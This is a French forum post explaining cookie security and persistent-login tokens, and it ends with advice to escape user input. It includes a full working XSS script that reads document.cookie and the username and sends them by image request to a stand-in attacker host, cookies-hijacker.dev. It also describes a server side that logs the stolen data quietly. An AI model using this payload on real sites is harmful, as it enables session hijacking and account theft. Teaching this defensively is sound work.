Cookie & securité

[Sephi-Chan]

Il n'y a pas de risques en soi à utiliser les cookies en soi.
Il faut juste avoir conscience que ça vient de l'utilisateur, et qu'à ce titre, il ne faut pas leur faire confiance.

Généralement, ils sont d'ordre utilitaire, donc si l'utilisateur s'amuse à les modifier, il trompera le site "pour lui". Si le cookie servait à lui dire à quand remontait sa dernière visite et qu'il met un chiffre dedans, ben ça lui dira que sa dernière visite était le -14. Et alors ?

Maintenant, voyons les risques. Pour ça, je prends l'exemple d'un système d'authentification que j'utilise au quotidien.

Dans Authlogic (un plugin qui aide à gérer toutes les facettes de l'authentification, la persistance se fait grâce à une colonne persistance_token dans la table utilisateurs. Chaque utilisateur dispose de son propre token et c'est ce dernier qui est stocké dans le cookie (plutôt que l'ID de l'utilisateur, qui est prévisible et donc plus sensible). Ainsi, sur le site on a un cookie nommé user_credentials qui sert à identifier l'utilisateur au cours de ses visites.

Si on regarde un peu la source d'Authlogic, on peut voir comment est généré ce token : c'est un hash SHA-512 (128 caractères).

Le risque, avec les cookies d'identification persistente, c'est que je te donne le contenu de mon cookie : tu pourras modifier le tiens pour y mettre le miens et usurper mon identité.
Bien sûr, on fait rarement ça. Par contre, on peut facilement récupérer les cookies des gens pour peu que le site ne soit pas sécurité et permette aux utilisateurs de saisir un script dans la page, car il a juste à faire quelque chose comme :

<script type="text/javascript">

/**

 * On part du principe que le site utilise jQuery. Tant mieux, ça nous facilite la tâche.

 * Mais au pire on écrit du Javascript brut ou on utilise une librairie employée sur le site.

 * Je fais ça grâce à une image (dont l'URL va générer une requête HTTP) ; c'est plus discret qu'en Ajax ;

 */

$(document).ready(function(){

  var hijacked_user     = encodeURIComponent($('#logged-user span.username:first').text());

  var cookies_as_string = encodeURIComponent(document.cookie);

  var hostname          = encodeURIComponent(location.hostname);

  var image_url         = 'http://cookies-hijacker.dev/collect_cookies.png'

                        + '?user='    + hijacked_user

                        + '&cookies=' + cookies_as_string

                        + '&website=' + hostname;



  $('body:first').append($('<img src="' + image_url + '" />'));

});

</script>

Et là j'ai gagné. Mon site cookies-hijacker.dev reçoit une requête GET contenant :

• Le nom de l'utilisateur hacké : on utilise la partie du HTML généralement présente qui dit que vous êtes connecté en tant que untel. C'est du cas par cas selon le site : parfois on peut le récupérer facilement (car le créateur a eu l'intelligence de mettre le nom entre des balises), parfois il faudra utiliser une expression rationnelle, parfois il n'y sera pas (sûrement parce que le site est mal fichu) ;
  
• Tous les cookies pour ce site. Celui qui gère l'authentification persistante en fait partie ! ;
  
• L'adresse du site, note que puisqu'on fait du cas par cas, on peut l'écrire en dur ;
  

Côté serveur pirate, collect_cookies.png est en fait un script (PHP, Ruby, etc.) qui stock les données reçues et renvoie un mime type image/png et un petit GIF transparent de 1*1 pour que personne ne se rende compte de rien. Ainsi, le pirate peut constituer sa base en paix, faire chier les gens, casser le jeu (en volant la session de l'administrateur), vendre la base (!?), etc. ;

Note que ce genre de vol peut être poussé encore plus loin : si je peux injecter un script arbitraire sur une page depuis laquelle on se connecte, je peux détourner de manière simple l'authentification puisqu'il suffit d'envoyer les identifiants de connexion au site pirate par le même procédé.

Attention, il ne faut pas prendre ça à la légère. Une telle faille arrive très vite.
Il suffit d'un seul petit champ non-échappé qui affiche quelque chose écrit par un utilisateur. Tout doit passer dans un htmlentities (ou équivalent selon les langages).

Moralité, la grosse faille des cookies, c'est le créateur du site.


Sephi-Chan